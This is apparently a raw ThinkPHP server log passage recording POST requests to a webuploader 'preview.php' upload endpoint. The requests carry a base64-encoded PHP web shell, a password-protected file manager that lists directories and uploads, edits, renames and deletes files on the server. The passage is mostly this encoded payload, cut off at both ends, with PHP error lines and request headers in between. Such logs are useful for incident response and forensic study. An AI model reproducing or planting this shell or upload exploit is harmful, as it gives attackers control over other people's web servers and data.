kX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:40+08:00 ] 119.42.146.234 POST 51tianwei.com/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002637s] [吞吐率:379.23req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAg